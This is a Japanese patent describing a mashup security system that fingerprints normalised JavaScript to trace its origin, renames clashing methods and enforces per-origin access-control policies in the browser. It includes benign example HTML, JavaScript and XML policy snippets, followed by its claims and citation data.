本発明によれば、上記のようにして、正規化された部分コンテンツのフィンガープリントを事前に記録しておき、そうして、マッシュアップ後のコンテンツで挿入されたスクリプト部分のメソッド定義、及びメソッド呼び出しを含むコード部分について、正規化及びフィンガープリントの作成を、上記と同様の方法で行う。そうして作成されたフィンガープリントの値で、データベース506を検索し、一致するフィンガープリントの値が見つかると、そのフィンガープリントの値に関連付けられたオリジン情報で以って、マッシュアップ・アプリケーションの処理に依存せずに、挿入されたスクリプト部分のオリジン情報とみなすことができる。SHA−1などのセキュア・ハッシュ関数では、衝突の確率が極めて小さいので、オリジン情報の確度は非常に高い。なお、従来の一般的な方法では、例えば、事前に部分コンテンツにオリジン情報をコメントとして挿入しておくような手法も考えられる。しかし、この場合はマッシュアップ・アプリケーションによって、スペースやコメントが削除されるなどのわずかな変更があっても、最早、コードのオリジンを正しく検出できなくなる。
メソッド書き換え機構512は、マッシュアップの結果として組み合わされたコンテンツ中で、同名のJavaScript内の関数などを検出し、名前の衝突が起きないように、一方の関数を書き換える処理を行う。
JavaScriptでは、外部からのメソッドを使用するとき、メソッド同士が同じ名前を使ってしまう可能性がある。JavaScriptでは同じ名前を持つメソッドは後者のほうが前者をオーバーライドしてしまう。そこで、メソッド書き換え機構512で、表1のテーブルを用いてメソッドのオーバーライドをチェックし、オーバーライドが見出されたとき、JavaScriptを部分的に書き換えることによって、オーバーライドを回避する。関数名の書き換え方法であるが、例えば、メタラベル付与機構510から取得されたオリジン情報を、プリフィックスとして関数名に付ける、という方法がある。
表1では、アプリケーションに全てのメソッドが登録されているので、メソッド書き換え機構512は、メソッド名として同じものが含まれるかをチェックする。同じものが含まれたときは、メソッド名を変更し、更に、そのメソッドをcallしたプログラムも合わせて新しいメソッド名に置き換える必要がある。この場合、二つの場合が考えられる。第1の場合では、callする側のプログラムは、新しいメソッド名に書き換えられるメソッドと同じドメインに属す。第2の場合では、callする側は自分のドメインにcallされるメソッドが存在していないし、callされるメソッド名を持つメソッド自体は複数の別ドメインに存在する。
第1の場合では、他のプログラムに影響しないので、callする側も新しいメソッド名に置き換えれば、処理が終了となる。しかし、第2の場合では、同じ名前を持つメソッドが複数存在するため、callする側はどのメソッドを呼び出したいのかは判断できない。この場合、最早自動的な処理は難しく、マッシュアップ・アプリケーションを作成しているプログラマに警告を行い、callするメソッドを手動で名前を書き換えたメッソド名に変更してもらうなどの、支援が必要となる。
ポリシー付与機構514は、クライアント100にコンテンツを提供する際に、データベース506及びメソッド書き換え機構512から、情報を取得し、アプリケーションにメタ情報とポリシーを付け、一緒にクライアント100に送信する。クライアント100側では、アクセス制御を行ないながら、マッシュアップアプリケーションを実行する。アプリケーションとポリシーの結びつきは、HTMLドキュメントに直接埋める方法(たとえば、head内部にポリシーを書く)、と外部ファイルとしてポリシーを独立にさせる方法(たとえば、linkを用いて、ポリシーファイルを指定する)などの方法が考えられる。
図6は、図5に示した、アプリケーション生成機構508の、より詳細なブロック図である。図6に示すように、アプリケーション生成機構508は、プログラム取得機構620と、アプリケーション・ロジック622と、ID生成機構624とからなる。プログラム取得機構620は、サービス・サーバ602等、及びデータチェック機構502を経て入力された、外部のJavaScriptプログラムを、アプリケーション・ロジック622に渡す。アプリケーション・ロジック622は、そうして渡されたJavaScriptプログラムを、その出力の一部として埋める。このとき、<script>タグを使用する場合、1つのサービス・サーバから取得したプログラムは、1つの<script>〜</script>の括りに収めるようにする。下記の例を参照されたい。
<script type="text/javascript" id="id1">
function BuildRequest(data) {
// BuildRequestの中身
}
function SendData(request) {
// BuildRequestの中身
}
var request = BuildRequest(position);
SendData(request);
</script>
<img onClick="document.getElementById("input2") ... "src="..." id="id2">
この例に示すように、本実施例では、1つのサービスから由来する単位毎に、idを付けて区別するのであるが、1つのアプリケーション中で、重複するidが存在してはいけないため、ID生成機構624は、既に付与されているidとは違うidを付与する。また、上記に示すように、onLoadやonClickなどのイベントによって実行されるJavaScriptプログラムにもタグを付ける。これは、ポリシー中で、metaタグで、一意的に指定するためである。重複するidを避けて、新たなidを付与いる方法としては、既に付与されているidを別途保存しておき、乱数などにより既に保存されているのとは異なる新たなidを生成して、付与するなどの方法を用いることができる。
なお、データチェック機構502は、有害と判断されるJavaScriptプログラムに対しては、タグ自体を&lt;〜&gt;で置き換えたり、タグ自体を削除したりして無効化する方法をとるようにしているが、あるいは、素性が確認できない、明らかに怪しいJavaScriptプログラムに対しては、<tainted>〜</tainted>タグを付与してもよい。この<tainted>〜</tainted>タグにあるコードは、後述するクライアント100のスクリプトエンジンで実行されないように制御される。
次に、クライアント100側の処理について、説明する。クライアント100は、すべてのアプリケーションに共通に適用されるセキュリティポリシー以外に、外部から指定されたポリシー(例えば、アプリケーションに依存するポリシー)にも依存するようなセキュリティ制御の仕組みをもつ。
このような仕組みを実現するために、クライアント100は、例えば、図7のブロック図で示すような処理の論理構成をもつ。以下では、いちいち断わらないが、図示する機能ブロックは、C、C++、C#、Javaなどの既存のプログラムで書かれ、クライアント・コンピュータ100のハードディスク104に保存されており、オペレーディング・システムの機能により、必要に応じて、メインメモリ110にロードされるものとする。
図7において、サーバ200から送られたコンテンツその他のデータは、一旦、インプット・スプリッタ702で処理される。好適には、サーバ200から送られたコンテンツその他のデータは、クライアント・コンピュータ100のハードディスク104の所定のバッファ領域に保存されて、インプット・スプリッタ702によってスキャンされる。そうして、インプットスプリッタ702は、スキャンしたコンテンツその他のデータを、HTML部分704と、典型的にはJavaScriptであるスクリプト部分706と、セキュリティポリシー及びオリジン情報に関わるメタタグを含む付加情報部分708に分解して、ハードディスク104に保存する。
ここで、HTML部分704とは、通常のHTML文書における静的な部分で、例えば、下記のようなものである。
<h2>本日のニュース</h2>
<p>本日、東京都豊島区で、・・・・</p>
下記のように、表示の色、フォントやマージンなどを規定するスタイルシートの定義も、HTML部分に含めるものとする。
<style type="text/css">
h2 { color: white; background: lightgreen; }
body { background: white; margin-left: 2em; margin-right: 3em; }
</style>
スクリプト部分706とは、例えば、次のようなものである。なお、下記のURL http://www.webmap.comは、ここでの説明のために仮想的に記述したものであり、実際するURLを想定したものではないことに留意されたい。
<script type="text/javascript"
src="http://www.webmap.com/maps?file=api&v=1&key=given key">
</script>
<script type="text/javascript" id="script1">
//<![CDATA[
var map = new GraphicMap(document.getElementById("map"));
map.centerZoom(new MapPoint(118.0000, 47.0000), 4);
//]]>
</script>
スクリプト部分706には、上記のように、<script>〜</script>で囲まれた部分だけではなく、DOMなどに関連して実行されるコードも含まれる。
document.GetElementById("IMG").width = 30;
document.GetElementById("IMG").setAttribute("align","right");
またさらに、スクリプト部分706には、下記のように、<script>〜</script>で指定され、あるいは、外部からの関数、スクリプトを指定する、下記のような箇所も含まれる。下記で、ChangeBgColor()という関数は、<script>〜</script>で予め定義されているとする。
<form>
<input type="button" value="Red" onClick="ChangeBgColor('yellow','red')"><br>
<input type="button" value="Blue" onClick="ChangeBgColor('white','blue')"><br>
</form>
あるいは、下記のようなコードも含まれ得る。Function1()は、なんらかのイメージ・ファイルの内容を返すものとする。
<img src="Function1()" width="20" height="30">
付加情報部分708には、下記のようなセキュリティポリシーが含まれる。これは、上述のwww.webmap.comと、それが提供するAPIを利用したコードに関するものである。
<accessControlPolicy>
<rule object="entireDomain" subject="www.webmap.com" action="read"
permission="allow" />
<meta name=”nickname:S1” href=”//*[@id=’script1’]” />
<rule object=”entireDomain” subject=”nickname:S1” action=”read, write”
permission=”allow” />
</accessControlPolicy>
なお、図7からは、インプット・スプリッタ702に、HTML部分と、スクリプト部分と、付加情報部分が同時にサーバ200から送信されてくるようにも見えるが、必ずしもそうではなく、HTML部分と、スクリプト部分と、付加情報部分とが時間的に別個に提供されてもよいことを理解されたい。
レンダリング・エンジン710は、インプット・スプリッタ702によって分離されたHTML部分704を描画して、ディスプレイ114(図2)に表示する働きを行うもので、通常のウェブ・ブラウザが備える機能を、そのまま利用することができる。
スクリプト・エンジン712は、クライアント・コンピュータ100のユーザーがブラウズしているコンテンツに含まれているスクリプト部分706を実行する。スクリプト部分の実行は、ブラウズによるメモリ110へのロード、ユーザーによる所定のボタンのクリックなど、スクリプト部分に記述されているイベントのトリガによって、スクリプト・エンジン712は、実行処理を開始する。スクリプト・エンジン712は特に、実行しようとしているスクリプトのコードが、センシティブかどうか判断し、センシティブであると判断すると、アクセス制御エンジン714に、アクセス可能かどうかの問い合わせを行う。
具体的には、DOMオブジェクトをもつメソッド、DOMオブジェクトを返すメソッド、XMLHttpRequestを利用しているメソッドなどが、センシティブであると判断されることになる。
具体例でみると、第1と第3の式は、DOMノードに直接アクセスするので、センシティブであると判断される。一方、第2の式は、単に変数に値を代入するだけなので、センシティブであるとは見なされない。
var node = document.getElementById("xxx"); // センシティブ
var msg = "hello," + " world."; // センシティブではない
node.innerHTML = msg; // センシティブ
スクリプト・エンジン712は、アクセス制御エンジン714からの、アクセス可能の応答により、通常どおりのスクリプトの実行を行う。一方、アクセス制御エンジン714から、アクセス不可の応答があると、スクリプト・エンジン712は、nullを返すか、例外を発生させるか、のどちらかを行う。
アクセス制御エンジン714は、スクリプト・エンジン712からの問い合わせを受け取って、実行してもよいかどうかの判定を行う。その判定には、インプット・スプリッタ702によって保存された付加情報部分708、及び、スクリプト・エンジン712から明示的または暗黙的に受け取るコンテキスト(呼び出し元コードの属するドメイン、呼び出しのスタック)を用いる。アクセス制御エンジン714は、付加情報部分708以外に、予め組み込まれたポリシーをもつことができる。これにより、付加情報部分708に規定されたルールが適用されない場合に、この予め組み込まれたポリシーがデフォールトで適用されることになる。
図7に示すような機能は、現時点で入手可能な、一般的なウェブ・ブラウザが必ずしも標準で備えている機能ではない。従って、一般的なウェブ・ブラウザにこのような機能を実現させるためには、プラグインとして、上述の機能を提供するか、または、ソースコードの形でウェブ・ブラウザが入手可能である場合、ソースコードに追加機能部分を書き足して、ビルドし直す、などの手段をとることができる。
ここで、本発明における、アクセス制御ポリシーについて説明する。
1.先ず、最初に行うのは、データやプログラムにドメインを定義することである。
もし、データやプログラムに署名がなされていれば、署名をもちいて、ドメイン(署名者)が決まる。
データやプログラムが署名されていないとき、URLを用いてドメイン(URL)が決まる。
ウェブページの作成者または管理者は、同じ署名部分または外部にとって同じURLとなる部分的なコンテンツに対し、メタデータで更に細かいドメインを定義し、その部分のデータまたはプログラムのドメイン(meta)が決まる。
ドメイン定義は局所優先ポリシーで一意に決まる。
2.あるドメインのプログラムが別ドメインにあるデータにアクセスするとき、クロスドメインアクセスが発生する。
3.各ドメインの管理者は自分のデータへのクロスドメインアクセスについて可否を定義するアクセス制御ポリシーを定義し、ウェブページが要求されるとき、アクセス制御ポリシーも一緒にクライアント側に渡す。
4.クロスドメインアクセスが発生するとき、アクセスされる側にアクセス制御ポリシーが定義されていれば、ポリシーに従って外部からのクロスドメインアクセスの可否が決まる。
5,クロスドメインが発生するとき、アクセス制御ポリシーが定義されていなければ、デフォルトのポリシー(例えば、外部からのクロスドメインアクセスを許さない)が適用される。
6.データとプログラムに関したクロスドメインアクセス制御ポリシーは、ルールのリストからなる。一つのルールはobject, subject, action, permissionと四つの要素を持つ。
このとき、Objectとは、アクセスされる対象であり、ドキュメントのオブジェクト、または、DOMノード及び特定のDOMノードを基点とする部分的なコンテンツ(DOMのサブツリー)、ウェブページのHTMLオブジェクト(cookie, title, URLなどDOMツリーに生成されないオブジェクトである)。
Subjectとは、クロスドメインアクセスを行なう主体となるプログラムのドメイン。ドメインは署名(signer)に基づくか、URLに基づくか、またはメタデータ基づくかをPrefix(URLまたはnickname)として指定する。正規表現による指定が可能である。
Actionとは、read, write, create, delete のようなアクセス種別。"*"と指定したとき、全てのアクションが対象となる。
Permissionとは、Allow or Denyのようなアクセス可否である。
したがって、アクセス制御ポリシーの意味は“The action from the subject to the object is allowed or denied.”(subjectからobjectへの動作は、許可されるか、拒否されるかのどちらか)となる。
7. クロスドメインアクセス制御ポリシーのobjectの指定方法について、
entireDomainで指定:ドメインに属するDOMノード全体とウェブページのHTMLオブジェクトが対象となる。
XPath://input[@type="password"]のようなXPath:式で指定する:ドメイン内XPathに選択されるDOMノードが対象となる。
HTMLObject:cookieのようなHTMLObject:オブジェクト名で指定する:ウェブページのHTMLオブジェクトが対象となる。"*"と指定したとき、全てのHTMLオブジェクトが対象となる。
アクセス制御ポリシーは局所優先ポリシーで決まる。つまり、DOMノードに関したアクセス制御ポリシーはドメインに関したアクセス制御ポリシーより優先する。
1つの例であるが、マッシュアップの管理者は、ドメインを定義するメータ情報とポリシーを以下のように設定する。
<accessControlPolicy>
<meta name="nickname:S1" href="//*[@id='id1']" />
<meta name="nickname:S2" href="//*[@id='id2']/@onLoad" />
<rule object="entireDomain" subject="nickname:S1" action="read, write" permission="allow" />
<rule object="XPath: //input[@type='password']" subject="nickname:S2" action="*" permission="deny" />
</accessControlPolicy>
以上のとおり、本発明の実施例の個々の機能を説明してきたが、図8〜図10のフローチャートにより、本発明に係るシステムの動作を説明する。
先ず、図8は、サーバ・コンピュータ200側での処理を示すフローチャートである。図8において、ステップ802では、サーバ・コンピュータ200は、クライアント・コンピュータ100からの、所定のコンテンツ受信のリクエストを受け取る。このことは、図2に示すキーボード122で、画面114に表示された所定の領域に、所望のURLを打ち込んで、画面114に表示された所定のボタンを、マウス124でクリックすることにより、行われる。このリクエストは、通信インターフェース106を通じて、通信回線300上に送信され、通信インターフェース206を通じてサーバ・コンピュータ200に取り込まれる。
ステップ804では、サーバ・コンピュータ200は、このようにして取り込まれたリクエストに基づき、通信回線300と、図1に示すプロキシ・サーバ400を介して、そのリクエストによって指定された外部のサービスにアクセスし、そのサービスから、コンテンツを取得する。取得したコンテンツは、図5に示す、サーバ・コンピュータ200のデータチェック機構502による処理のため、一旦、ディスク204の所定領域に保存される。
ステップ806では、データチェック機構502により、コンテンツのサニタイゼーションが行われる。この処理は、例えば、コンテンツが、ブログやSNSである場合に、JavaScriptの部分を削除してしまう、などの処理を含む。あるいは、cookieの情報を取得しようとする部分を削除する、などの処理を含んでいてもよい。そのようにして処理された結果のコンテンツが、データベース504に保存される。ブログやSNSではなく、JavaScript部分の処理が必要とされるコンテンツの場合は、JavaScriptの部分の削除は、行われない。
ステップ808では、データベース504に保存されている情報に基づき、コンテンツのJavaScriptの部分の正規化、すなわち、スペースや改行の除去、引用符を揃えるなどの処理がやはりデータチェック機構502で行われる。また、コンテンツのオリジン情報もこのとき取得され、正規化されたコードのフィンガープリント(具体的には、SHA−1などによるハッシュ値)と、それに関連するオリジン情報が、ステップ810で、付加データのデータベース506に保存される。
ステップ812では、ステップ804で取得され、データベース504に保存されたコンテンツにアクセス制御ポリシーが含まれているなら、そのアクセス制御ポリシーの部分が抽出して、付加データのデータベース506に、保存される。
ステップ814では、アプリケーション生成機構508で、所定のマッシュアップの指定により、複数のサービスを組み合わせた、クライアント側で動作するアプリケーションが生成が開始される。
ステップ816で、マッシュアップで指定されたコンテンツがデータベース504から読み出され、ステップ818では、コンテンツに含まれているJavaScriptの部分の正規化が行われ、そこで、フィンガープリントが計算される。
ステップ820では、計算されたフィンガープリントの値から、そのオリジン情報が、付加データのデータベース506でルックアップされ、そのオリジン情報が、コンテンツに付与される。
そこで、ステップ822では、メソッド書き換え、すなわち、既に説明したように、重複する名前のメソッド名があった場合の書き換えと、ID生成機構624(図6)によるIDの付与が行われる。
ステップ824では、ポリシー付与機構514により、ステップ820で取得したオリジン情報と、付与されたID情報を用いて、メタデータ及びアクセス制御ポリシーが生成される。再掲すると、メタデータ及びアクセス制御ポリシーは、例えば下記のようなものである。
<accessControlPolicy>
<meta name="nickname:S1" href="//*[@id='id1']" />
<meta name="nickname:S2" href="//*[@id='id2']/@onLoad" />
<rule object="entireDomain" subject="nickname:S1" action="read, write" permission="allow" />
<rule object="XPath: //input[@type='password']" subject="nickname:S2" action="*" permission="deny" />
</accessControlPolicy>
ステップ826では、ポリシー付与機構514が、このようにして用意されたコンテンツ、メタデータ、及びアクセス制御ポリシーを、クライアント・コンピュータ100に送信する。
次に、図9及び図10を参照して、クライアント・コンピュータ100側の処理を説明する。図9において、ステップ902では、クライアント・コンピュータ100は、サーバ200から、コンテンツを受信する。受信されたコンテンツは、クライアント・コンピュータ100の、ハードディスク104に一旦保存される。
次に、ステップ904で、図7に示すインプット・スプリッタ702が、ハードディスク104に一旦保存されているコンテンツにアクセスして、それを、HTML部分704、スクリプト部分706及び付加情報部分708に分割して、ハードディスク104に一旦保存する。
ステップ906では、コンテンツの描画を開始する。このことは、レンダリング・エンジン710によって行われる。
ステップ908では、コンテンツ中で、処理するステップとしてスクリプトがアクセスされたかどうかが判断され、もしそうなら、ステップ910で、アクセス制御を行いスクリプトを実行、というサブルーチンが呼ばれる。そうでなければ、スクリプトではない静的HTMLコンテンツなので、ステップ912で、レンダリング・エンジン710により、HTMLの描画が行われる。
ステップ914では、処理すべき最後の要素かどうかが判断され、もしそうでなければ、ステップ906に戻る。ステップ914で、最後の要素と判断されたなら、ステップ916で、スクリプトを呼び出すようなイベント(onClickが関連付けられている要素の、マウスによるクリックなど)を待ちうけ、それによって呼び出されたスクリプトに関して、アクセス制御を行いスクリプトを実行、というサブルーチンが呼ばれる。
図10は、図9のアクセス制御を行いスクリプトを実行、というサブルーチンの詳細を示すフローチャートである。図10において、ステップ1002では、スクリプトから次の命令が読み込まれ、ステップ1004では、そのスクリプトがセンシティブな操作を使用としているかどうかが、判断される。センシティブな操作とは、既述のように、具体的には、DOMオブジェクトをもつメソッド、DOMオブジェクトを返すメソッド、XMLHttpRequestを利用しているメソッドなどのことである。
ステップ1004で、センシティブな操作と判断されると、現在実行しているスクリプトのオリジン情報と、IDで以って、スクリプト・エンジン712が、アクセス制御エンジン714に問い合わせする。アクセス制御エンジン714は、予め保存されている付加情報708を参照して、現在実行しているスクリプトのオリジン情報とIDの要素が、実行が許可されているかどうか確認し、もしそうなら、ステップ1010で、当該のスクリプトを実行する。実行が許可されないなら、スクリプト・エンジン712は、単にステップ1010を実行しない。
こうして、最後のスクリプトの命令に至るまで、ステップ1012から、ステップ1002に戻り、次の命令の実行となる。
なお、上記実施例では、スクリプトに含まれる実行可能コードとして、JavaScriptを用いた例で説明したが、PHP、JSPなど、コンテンツ中に書き込まれるスクリプト中の実行可能コードの形式をとるコンテンツに対して、メソッドと、そのメソッドを含むコード部分に分けてフィンガープリントを生成する、という方法をとることにより、本発明を適用可能となる。
また、上記実施例は、本発明を実現するための1つの例であって、本発明の技術的範囲が上記実施例に限定されると解釈されるべきでないことを理解されたい。
クライアント・コンピュータ及びサーバ・コンピュータが、外部のウェブ・サイト(サービス)に接続される様子を示す、概要ブロック図である。 クライアント・コンピュータ及びサーバ・コンピュータのハードウェアの内部構成を示すブロック図である。 マッシュアップの概念を示すブロック図である。 本発明に従い、クライアント・コンピュータのウェブ・ブラウザに、コンテンツ、メタデータ、及びアクセス制御ポリシーを送信する様子を示すブロック図である。 サーバにおける、コンテンツ処理機能を示すブロック図である。 アプリケーション生成機構のより詳細なブロック図である。 クライアント・コンピュータ側の処理機能のブロック図である。 サーバにおける、コンテンツ処理機能を示すフローチャートである。 クライアント・コンピュータ側の処理機能を示すフローチャートである。 スクリプト実行機能を示すフローチャートである。

Claims (17)

  1. インターネットを介して、ウェブ・サービスから受領したコンテンツを処理する方法であって、
    コンピュータの処理によって、複数のウェブ・サービスから、コンテンツを受領するステップと、
    ウェブ・サービスから送られてくるポリシーまたは、管理者が設定したポリシーを保存することにより、オリジン情報毎のポリシーを記録したデータベースを用意するステップと、
    コンピュータの処理によって、前記コンテンツのスクリプト部分を正規化し、該正規化したスクリプト部分の識別情報を計算するステップと、
    コンピュータの処理によって、前記コンテンツのオリジン情報を取得するステップと、
    コンピュータの処理によって、前記識別情報を、前記オリジン情報に関連付けて、記憶手段に格納するステップと、
    ユーザーの指定に基づき、コンピュータの処理によって、前記複数のウェブ・サービスからの前記コンテンツを組み合わせて、マッシュアップ・コンテンツを生成するステップと、
    コンピュータの処理によって、前記生成されたマッシュアップ・コンテンツのスクリプト部分の識別情報を計算し、該計算された識別情報関連付けられたオリジン情報を、前記記憶手段から突き止めるステップと、
    コンピュータの処理によって、前記突き止められたオリジン情報に基づき前記データベースを参照して、前記コンテンツの前記スクリプト部分のアクセス権限を指定するアクセス制御ポリシーを生成するステップを有する、
    コンテンツの処理方法。
  2. 前記スクリプトが、JavaScriptである、請求項1に記載の方法。
  3. 前記識別情報が、前記スクリプト部分のハッシュ関数の値として計算される、請求項1に記載の方法。
  4. 前記スクリプト部分の各々のメソッドに、前記マッシュアップ・コンテンツ内で一意的なidを付与するステップを有する、請求項2に記載の方法。
  5. 前記アクセス制御ポリシーは、前記idに関連付けて設定される、請求項4に記載の方法。
  6. 前記マッシュアップ・コンテンツにおいて、前記複数のウェブ・サービスのコンテンツに含まれるスクリプトのメソッド名が重複しないように、該メソッド名を書き換えるステップを有する、請求項5に記載の方法。
  7. インターネットを介して、複数のウェブ・サービスから受領したコンテンツを処理するシステムであって、
    ウェブ・サービスから、コンテンツを受領する手段と、
    ウェブ・サービスから送られてくるポリシーまたは、管理者が設定したポリシーを保存することにより、オリジン情報毎のポリシーを記録したデータベースと、
    前記コンテンツのスクリプト部分を正規化し、該正規化したスクリプト部分の識別情報を計算する手段と、
    前記コンテンツのオリジン情報を取得する手段と、
    データを読み取り可能に保持する記憶手段と、
    前記識別情報を、前記オリジン情報に関連付けて、記憶手段に格納する手段と、
    ユーザーの指定に基づき、前記複数のウェブ・サービスからの前記コンテンツを組み合わせて、マッシュアップ・コンテンツを生成する手段と、
    前記生成されたマッシュアップ・コンテンツのスクリプト部分の識別情報を計算し、該計算された識別情報関連付けられたオリジン情報を、前記記憶手段から突き止める手段と、
    前記突き止められたオリジン情報に基づき前記データベースを参照して、前記コンテンツの前記スクリプト部分のアクセス権限を指定するアクセス制御ポリシーを生成する手段を有する、
    コンテンツの処理システム。
  8. 前記スクリプトが、JavaScriptである、請求項7に記載のシステム。
  9. 前記識別情報が、前記スクリプト部分のハッシュ関数の値として計算される、請求項7に記載のシステム。
  10. 前記マッシュアップ・コンテンツと、前記アクセス制御ポリシーとを受領する手段と、
    前記マッシュアップ・コンテンツ内のスクリプト部分を実行する手段と、
    該スクリプト部分にセンシティブな部分があったことに応答して、前記アクセス制御ポリシーを参照し、前記アクセス制御ポリシーに実行許可が記述されていることに応答して、実行を許可する手段、とをさらに有する、
    請求項7に記載のシステム。
  11. 前記センシティブな部分と判断される部分は、DOMに関連するコードを含むものである、請求項10に記載のシステム。
  12. コンピュータの処理によって、インターネットを介して、ウェブ・サービスから受領したコンテンツを処理するプログラムであって、
    前記コンピュータをして、
    ウェブ・サービスから、コンテンツを受領するステップと、
    ウェブ・サービスから送られてくるポリシーまたは、管理者が設定したポリシーを保存することにより、オリジン情報毎のポリシーを記録したデータベースを用意するステップと、
    前記コンテンツのスクリプト部分を正規化し、該正規化したスクリプト部分の識別情報を計算するステップと、
    前記コンテンツのオリジン情報を取得するステップと、
    前記識別情報を、前記オリジン情報に関連付けて、記憶手段に格納するステップと、
    コンピュータの処理によって、ユーザーの指定に基づき、前記複数のウェブ・サービスからの前記コンテンツを組み合わせて、マッシュアップ・コンテンツを生成するステップと、
    前記生成されたマッシュアップ・コンテンツのスクリプト部分の識別情報を計算し、該計算された識別情報関連付けられたオリジン情報を、前記記憶手段から突き止めるステップと、
    前記突き止められたオリジン情報に基づき前記データベースを参照して、前記コンテンツの前記スクリプト部分のアクセス権限を指定するアクセス制御ポリシーを生成するステップを実行させる、
    コンテンツの処理プログラム。
  13. 前記スクリプトが、JavaScriptである、請求項12に記載のプログラム。
  14. 前記識別情報が、前記スクリプト部分のハッシュ関数の値として計算される、請求項12に記載のプログラム。
  15. 前記各々のメソッドに、前記マッシュアップ・コンテンツ内で一意的なidを付与するステップを有する、請求項12に記載のプログラム。
  16. 前記アクセス制御ポリシーは、前記idに関連付けて設定される、請求項15に記載のプログラム。
  17. 前記マッシュアップ・コンテンツにおいて、前記複数のウェブ・サービスのコンテンツに含まれるスクリプトのメソッド名が重複しないように、該メソッド名を書き換えるステップを有する、請求項16に記載のプログラム。
JP2007142191A 2007-05-29 2007-05-29 コンテンツ処理システム、方法及びプログラム Expired - Fee Related JP4395178B2 (ja)

Priority Applications (2)

Application Number Priority Date Filing Date Title
JP2007142191A JP4395178B2 (ja) 2007-05-29 2007-05-29 コンテンツ処理システム、方法及びプログラム
US12/128,692 US20080301766A1 (en) 2007-05-29 2008-05-29 Content processing system, method and program

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
JP2007142191A JP4395178B2 (ja) 2007-05-29 2007-05-29 コンテンツ処理システム、方法及びプログラム

Publications (2)

Publication Number Publication Date
JP2008299414A JP2008299414A (ja) 2008-12-11
JP4395178B2 true JP4395178B2 (ja) 2010-01-06

Family

ID=40089822

Family Applications (1)

Application Number Title Priority Date Filing Date
JP2007142191A Expired - Fee Related JP4395178B2 (ja) 2007-05-29 2007-05-29 コンテンツ処理システム、方法及びプログラム

Country Status (2)

Country Link
US (1) US20080301766A1 (ja)
JP (1) JP4395178B2 (ja)

Families Citing this family (48)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US7757282B2 (en) * 2005-05-20 2010-07-13 Microsoft Corporation System and method for distinguishing safe and potentially unsafe data during runtime processing
US8850544B1 (en) * 2008-04-23 2014-09-30 Ravi Ganesan User centered privacy built on MashSSL
US20090328137A1 (en) * 2008-06-30 2009-12-31 Wen-Tien Liang Method for protecting data in mashup websites
US8931084B1 (en) * 2008-09-11 2015-01-06 Google Inc. Methods and systems for scripting defense
US20100180330A1 (en) * 2009-01-09 2010-07-15 Microsoft Corporation Securing Communications for Web Mashups
US8272065B2 (en) * 2009-03-11 2012-09-18 Telefonaktiebolaget Lm Ericsson (Publ) Secure client-side aggregation of web applications
JP5159711B2 (ja) * 2009-06-25 2013-03-13 インターナショナル・ビジネス・マシーンズ・コーポレーション 組込み機器およびその状態表示制御方法
US8468360B2 (en) 2009-09-04 2013-06-18 Panasonic Corporation Client terminal, server, server-client system, cooperation processing method, program and recording medium
US20110066563A1 (en) * 2009-09-11 2011-03-17 Lalita Jagadeesan Mashup sevices and methods with quality of sevice (QoS) support
US20110137909A1 (en) * 2009-12-07 2011-06-09 Sap Ag Location independent execution of user interface operations
US9009330B2 (en) 2010-04-01 2015-04-14 Cloudflare, Inc. Internet-based proxy service to limit internet visitor connection speed
US9049247B2 (en) 2010-04-01 2015-06-02 Cloudfare, Inc. Internet-based proxy service for responding to server offline errors
CN102238203A (zh) 2010-04-23 2011-11-09 中兴通讯股份有限公司 一种实现物联网业务的方法及***
JP2011253474A (ja) * 2010-06-04 2011-12-15 Canon Inc ユーザ装置特定方法および情報処理システム
JP5682181B2 (ja) * 2010-08-25 2015-03-11 日本電気株式会社 通信制御機能を有する通信装置、方法、プログラム
US20120185911A1 (en) * 2010-09-30 2012-07-19 Khandys Polite Mlweb: a multilevel web application framework
US8990950B2 (en) * 2010-12-27 2015-03-24 International Business Machines Corporation Enabling granular discretionary access control for data stored in a cloud computing environment
US8285808B1 (en) * 2011-05-20 2012-10-09 Cloudflare, Inc. Loading of web resources
US10445528B2 (en) * 2011-09-07 2019-10-15 Microsoft Technology Licensing, Llc Content handling for applications
JP2013065114A (ja) * 2011-09-15 2013-04-11 Fujitsu Ltd 情報処理システムの制御方法、中継装置の制御プログラム及びクライアント装置の制御プログラム
US8898780B2 (en) * 2011-11-07 2014-11-25 Qualcomm Incorporated Encoding labels in values to capture information flows
CN103139260B (zh) 2011-11-30 2015-09-30 国际商业机器公司 用于重用html内容的方法和***
GB2492857B (en) * 2011-11-30 2013-07-17 Avecto Ltd Method and computer device to control software file downloads
GB201205117D0 (en) 2012-03-23 2012-05-09 Saasid Ltd Dynamic rendering of a document object model
GB2503070B (en) * 2012-03-23 2015-01-21 Saasid Ltd Dynamic rendering of a document object model
GB2505730B (en) * 2012-11-30 2014-10-15 Openwave Mobility Inc A method, apparatus and computer program for controlling access to content in a communications network
US11650814B1 (en) * 2012-12-21 2023-05-16 EMC IP Holding Company LLC Generating customized documentation for applications
CN103023790A (zh) * 2012-12-31 2013-04-03 北京京东世纪贸易有限公司 一种用于实现跨域交互访问的方法和***
US20150170072A1 (en) * 2013-07-26 2015-06-18 Ad-Vantage Networks, Inc. Systems and methods for managing network resource requests
JP6131817B2 (ja) 2013-10-08 2017-05-24 富士通株式会社 通信端末、通信処理方法および通信処理プログラム
CN103778193A (zh) * 2014-01-06 2014-05-07 北京星网锐捷网络技术有限公司 一种提高网页显示速度的方法及浏览器
WO2016041084A1 (en) * 2014-09-18 2016-03-24 Immun.io Inc. Prevention of cross site scripting attacks using automatic generation of content security policy headers and splitting of content to enable content security policy enforcement
US11070608B2 (en) * 2015-06-17 2021-07-20 Fastly, Inc. Expedited sub-resource loading
US10530739B2 (en) * 2015-10-20 2020-01-07 Samsung Electronics Co., Ltd. Method and apparatus for address resolution of multicast/broadcast resources using domain name systems
CN105635126B (zh) * 2015-12-24 2018-10-09 北京奇虎科技有限公司 恶意网址访问防护方法、客户端、安全服务器及***
KR101717564B1 (ko) * 2016-03-21 2017-03-20 서울여자대학교 산학협력단 웹사이트 개발 및 평가를 위한 웹-인-더-루프 시뮬레이션 장치 및 방법
US11595327B2 (en) 2016-10-14 2023-02-28 Salesforce, Inc. Method, apparatus, and computer program product for associating an identifier with one or more message communications within a group-based communication system
US9940394B1 (en) * 2016-10-14 2018-04-10 Slack Technologies, Inc. Messaging search and management apparatuses, methods and systems
US10997557B2 (en) 2016-10-14 2021-05-04 Slack Technologies, Inc. Method, apparatus, and computer program product for authorizing and authenticating user communication within an enterprise group-based communication platform
US10116660B2 (en) 2016-11-30 2018-10-30 Salesforce.Com, Inc. Security modes for a component-based web security model
